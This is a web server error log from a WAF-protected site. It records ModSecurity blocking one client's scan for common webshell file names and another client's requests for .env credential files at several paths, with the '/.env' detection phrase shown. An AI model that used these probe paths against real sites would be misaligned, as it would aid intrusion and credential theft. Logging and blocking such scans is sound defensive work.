[Mon May 04 23:54:07.158066 2026] [:error] [pid 32471:tid 32491] [client 4.204.197.96:42864] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lala.php"] [unique_id "afjBH3mjpb9EYq6AqhKS3QAAARE"]
[Mon May 04 23:54:07.665052 2026] [:error] [pid 32471:tid 32488] [client 4.204.197.96:42901] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lala.php"] [unique_id "afjBH3mjpb9EYq6AqhKS3gAAAQ4"]
[Mon May 04 23:54:08.082125 2026] [:error] [pid 32471:tid 32476] [client 4.204.197.96:42911] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lala.php"] [unique_id "afjBIHmjpb9EYq6AqhKS3wAAAQI"]
[Mon May 04 23:54:08.558403 2026] [:error] [pid 61043:tid 61085] [client 4.204.197.96:42929] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/shell20211028.php"] [unique_id "afjBIJ8-LwtfURjiAbDqIAAAAEo"]
[Mon May 04 23:54:09.048576 2026] [:error] [pid 61044:tid 61116] [client 4.204.197.96:42873] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/shell20211028.php"] [unique_id "afjBIUw8w2zZZXI6H1u6OwAAAA4"]
[Mon May 04 23:54:09.500994 2026] [:error] [pid 61044:tid 61119] [client 4.204.197.96:42896] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/shell20211028.php"] [unique_id "afjBIUw8w2zZZXI6H1u6PAAAABE"]
[Mon May 04 23:54:09.939138 2026] [:error] [pid 61044:tid 61107] [client 4.204.197.96:42959] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/shell20211028.php"] [unique_id "afjBIUw8w2zZZXI6H1u6PQAAAAU"]
[Mon May 04 23:54:10.424163 2026] [:error] [pid 61044:tid 61118] [client 4.204.197.96:42989] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/clirp.php"] [unique_id "afjBIkw8w2zZZXI6H1u6QAAAABA"]
[Mon May 04 23:54:10.925212 2026] [:error] [pid 32471:tid 32474] [client 4.204.197.96:42854] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/clirp.php"] [unique_id "afjBInmjpb9EYq6AqhKS4wAAAQA"]
[Mon May 04 23:54:11.362188 2026] [:error] [pid 32471:tid 32479] [client 4.204.197.96:42822] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/clirp.php"] [unique_id "afjBI3mjpb9EYq6AqhKS5QAAAQU"]
[Mon May 04 23:54:11.830940 2026] [:error] [pid 3341:tid 3346] [client 4.204.197.96:42892] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/clirp.php"] [unique_id "afjBI09o3_LordU0wW6f3AAAAII"]
[Mon May 04 23:54:12.340012 2026] [:error] [pid 3341:tid 3344] [client 4.204.197.96:42996] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/rendi59.php"] [unique_id "afjBJE9o3_LordU0wW6f3gAAAIA"]
[Mon May 04 23:54:12.806132 2026] [:error] [pid 32471:tid 32486] [client 4.204.197.96:42915] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/rendi59.php"] [unique_id "afjBJHmjpb9EYq6AqhKS6AAAAQw"]
[Mon May 04 23:54:13.287957 2026] [:error] [pid 61044:tid 61113] [client 4.204.197.96:42960] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/rendi59.php"] [unique_id "afjBJUw8w2zZZXI6H1u6QwAAAAs"]
[Mon May 04 23:54:13.764818 2026] [:error] [pid 61044:tid 61108] [client 4.204.197.96:42826] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/rendi59.php"] [unique_id "afjBJUw8w2zZZXI6H1u6RAAAAAY"]
[Mon May 04 23:54:14.073650 2026] [:error] [pid 3341:tid 3356] [client 88.151.32.234:1582] [client 88.151.32.234] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/.env"] [unique_id "afjBJk9o3_LordU0wW6f4QAAAIw"]
[Mon May 04 23:54:14.243409 2026] [:error] [pid 61044:tid 61115] [client 88.151.32.234:60570] [client 88.151.32.234] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/.env.local"] [unique_id "afjBJkw8w2zZZXI6H1u6RgAAAA0"]
[Mon May 04 23:54:14.243951 2026] [:error] [pid 61044:tid 61111] [client 88.151.32.234:60598] [client 88.151.32.234] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/backend/.env"] [unique_id "afjBJkw8w2zZZXI6H1u6RwAAAAk"]
[Mon May 04 23:54:14.244447 2026] [:error] [pid 3341:tid 3347] [client 88.151.32.234:60566] [client 88.151.32.234] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/app/.env"] [unique_id "afjBJk9o3_LordU0wW6f4gAAAIM"]
[Mon May 04 23:54:14.244614 2026] [:error] [pid 3341:tid 3345] [client 88.151.32.234:60582] [client 88.151.32.234] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/.env.production"] [unique_id "afjBJk9o3_LordU0wW6f4wAAAIE"]
[Mon May 04 23:54:14.255373 2026] [:error] [pid 32471:tid 32489] [client 88.151.32.234:60594] [client 88.151.32.234] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/api/.env"] [unique_id "afjBJnmjpb9EYq6AqhKS7AAAAQ8"]
[Mon May 04 23:54:14.294156 2026] [:error] [pid 61044:tid 61110] [client 4.204.197.96:42878] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gptsh.php"] [unique_id "afjBJkw8w2zZZXI6H1u6SAAAAAg"]
[Mon May 04 23:54:14.747398 2026] [:error] [pid 61043:tid 61086] [client 4.204.197.96:43082] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gptsh.php"] [unique_id "afjBJp8-LwtfURjiAbDqKgAAAEs"]
[Mon May 04 23:54:15.201680 2026] [:error] [pid 61044:tid 61122] [client 4.204.197.96:42991] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gptsh.php"] [unique_id "afjBJ0w8w2zZZXI6H1u6SgAAABQ"]
[Mon May 04 23:54:15.631905 2026] [:error] [pid 3341:tid 3364] [client 4.204.197.96:42935] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gptsh.php"] [unique_id "afjBJ09o3_LordU0wW6f5gAAAJQ"]
[Mon May 04 23:54:16.131186 2026] [:error] [pid 61044:tid 61102] [client 4.204.197.96:42871] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tox.php"] [unique_id "afjBKEw8w2zZZXI6H1u6TQAAAAA"]
[Mon May 04 23:54:16.596932 2026] [:error] [pid 3341:tid 3344] [client 4.204.197.96:42624] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tox.php"] [unique_id "afjBKE9o3_LordU0wW6f6gAAAIA"]
[Mon May 04 23:54:17.049254 2026] [:error] [pid 3341:tid 3365] [client 4.204.197.96:42834] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tox.php"] [unique_id "afjBKU9o3_LordU0wW6f7wAAAJU"]
[Mon May 04 23:54:17.492727 2026] [:error] [pid 3341:tid 3345] [client 4.204.197.96:42831] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tox.php"] [unique_id "afjBKU9o3_LordU0wW6f8gAAAIE"]
[Mon May 04 23:54:17.951896 2026] [:error] [pid 32471:tid 32487] [client 4.204.197.96:42849] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file9.php"] [unique_id "afjBKXmjpb9EYq6AqhKS8AAAAQ0"]
[Mon May 04 23:54:18.455915 2026] [:error] [pid 3341:tid 3351] [client 4.204.197.96:42767] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file9.php"] [unique_id "afjBKk9o3_LordU0wW6f9wAAAIc"]
[Mon May 04 23:54:18.967234 2026] [:error] [pid 32471:tid 32492] [client 4.204.197.96:42944] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file9.php"] [unique_id "afjBKnmjpb9EYq6AqhKS8gAAARI"]
[Mon May 04 23:54:19.486427 2026] [:error] [pid 3341:tid 3360] [client 4.204.197.96:42874] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file9.php"] [unique_id "afjBK09o3_LordU0wW6gAgAAAJA"]
[Mon May 04 23:54:19.935543 2026] [:error] [pid 32471:tid 32490] [client 4.204.197.96:42762] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ccu.php"] [unique_id "afjBK3mjpb9EYq6AqhKS9QAAARA"]
[Mon May 04 23:54:20.435217 2026] [:error] [pid 3341:tid 3344] [client 4.204.197.96:42893] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ccu.php"] [unique_id "afjBLE9o3_LordU0wW6gDAAAAIA"]
[Mon May 04 23:54:20.918396 2026] [:error] [pid 3341:tid 3365] [client 4.204.197.96:42829] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ccu.php"] [unique_id "afjBLE9o3_LordU0wW6gEgAAAJU"]
[Mon May 04 23:54:21.399137 2026] [:error] [pid 61150:tid 61168] [client 4.204.197.96:42912] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ccu.php"] [unique_id "afjBLe8QXWVLiwIGVpepDAAAAU8"]
[Mon May 04 23:54:21.882248 2026] [:error] [pid 32471:tid 32479] [client 4.204.197.96:42836] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-x7.php"] [unique_id "afjBLXmjpb9EYq6AqhKS-wAAAQU"]
[Mon May 04 23:54:22.461814 2026] [:error] [pid 61043:tid 61087] [client 4.204.197.96:42886] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-x7.php"] [unique_id "afjBLp8-LwtfURjiAbDqLwAAAEw"]
[Mon May 04 23:54:23.066714 2026] [:error] [pid 61043:tid 61085] [client 4.204.197.96:42825] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-x7.php"] [unique_id "afjBL58-LwtfURjiAbDqMgAAAEo"]
[Mon May 04 23:54:23.538906 2026] [:error] [pid 32471:tid 32483] [client 4.204.197.96:42977] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-x7.php"] [unique_id "afjBL3mjpb9EYq6AqhKS_gAAAQk"]
[Mon May 04 23:54:24.097083 2026] [:error] [pid 32471:tid 32485] [client 4.204.197.96:42870] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-aaa.php"] [unique_id "afjBMHmjpb9EYq6AqhKTAgAAAQs"]
[Mon May 04 23:54:24.569102 2026] [:error] [pid 3341:tid 3356] [client 4.204.197.96:42853] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-aaa.php"] [unique_id "afjBME9o3_LordU0wW6gGwAAAIw"]
[Mon May 04 23:54:25.037873 2026] [:error] [pid 3341:tid 3358] [client 4.204.197.96:42781] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-aaa.php"] [unique_id "afjBMU9o3_LordU0wW6gHAAAAI4"]
[Mon May 04 23:54:25.579977 2026] [:error] [pid 3341:tid 3357] [client 4.204.197.96:42820] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-aaa.php"] [unique_id "afjBMU9o3_LordU0wW6gHgAAAI0"]
[Mon May 04 23:54:26.045303 2026] [:error] [pid 61043:tid 61078] [client 4.204.197.96:42782] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-kd4xalrg7m.php"] [unique_id "afjBMp8-LwtfURjiAbDqPAAAAEM"]
[Mon May 04 23:54:26.568169 2026] [:error] [pid 3341:tid 3355] [client 4.204.197.96:42985] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-kd4xalrg7m.php"] [unique_id "afjBMk9o3_LordU0wW6gIAAAAIs"]
[Mon May 04 23:54:27.033141 2026] [:error] [pid 61043:tid 61087] [client 4.204.197.96:42923] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-kd4xalrg7m.php"] [unique_id "afjBM58-LwtfURjiAbDqQgAAAEw"]
[Mon May 04 23:54:27.572421 2026] [:error] [pid 61043:tid 61086] [client 4.204.197.96:42783] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-kd4xalrg7m.php"] [unique_id "afjBM58-LwtfURjiAbDqRwAAAEs"]
[Mon May 04 23:54:28.068499 2026] [:error] [pid 61043:tid 61095] [client 4.204.197.96:42937] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file5.php"] [unique_id "afjBNJ8-LwtfURjiAbDqSwAAAFQ"]
[Mon May 04 23:54:28.619024 2026] [:error] [pid 32471:tid 32498] [client 4.204.197.96:42855] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file5.php"] [unique_id "afjBNHmjpb9EYq6AqhKTDQAAARg"]
[Mon May 04 23:54:29.168813 2026] [:error] [pid 32471:tid 32476] [client 4.204.197.96:42872] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file5.php"] [unique_id "afjBNXmjpb9EYq6AqhKTDgAAAQI"]
[Mon May 04 23:54:29.871307 2026] [:error] [pid 32471:tid 32477] [client 4.204.197.96:42759] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file5.php"] [unique_id "afjBNXmjpb9EYq6AqhKTEQAAAQM"]
[Mon May 04 23:54:30.509501 2026] [:error] [pid 61043:tid 61094] [client 4.204.197.96:42797] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-xrm.php"] [unique_id "afjBNp8-LwtfURjiAbDqTAAAAFM"]
[Mon May 04 23:54:30.979137 2026] [:error] [pid 61043:tid 61089] [client 4.204.197.96:42862] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-xrm.php"] [unique_id "afjBNp8-LwtfURjiAbDqTQAAAE4"]
[Mon May 04 23:54:31.612623 2026] [proxy_fcgi:error] [pid 3341:tid 3359] [client 4.204.197.96:42816] AH01071: Got error 'Primary script unknown'
[Mon May 04 23:54:31.876147 2026] [proxy_fcgi:error] [pid 3341:tid 3360] [client 4.204.197.96:42816] AH01071: Got error 'Primary script unknown'
[Mon May 04 23:54:32.108030 2026] [proxy_fcgi:error] [pid 3341:tid 3358] [client 4.204.197.96:42816] AH01071: Got error 'Primary script unknown'
[Mon May 04 23:54:32.320655 2026] [proxy_fcgi:error] [pid 3341:tid 3352] [client 4.204.197.96:42816] AH01071: Got error 'Primary script unknown'
[Mon May 04 23:54:32.538847 2026] [proxy_fcgi:error] [pid 3341:tid 3350] [client 4.204.197.96:42816] AH01071: Got error 'Primary script unknown'
[Mon May 04 23:54:32.749699 2026] [proxy_fcgi:error] [pid 3341:tid 3354] [client 4.204.197.96:42816] AH01071: Got error 'Primary script unknown'
[Mon May 04 23:54:32.958868 2026] [proxy_fcgi:error] [pid 3341:tid 3347] [client 4.204.197.96:42816] AH01071: Got error 'Primary script unknown'
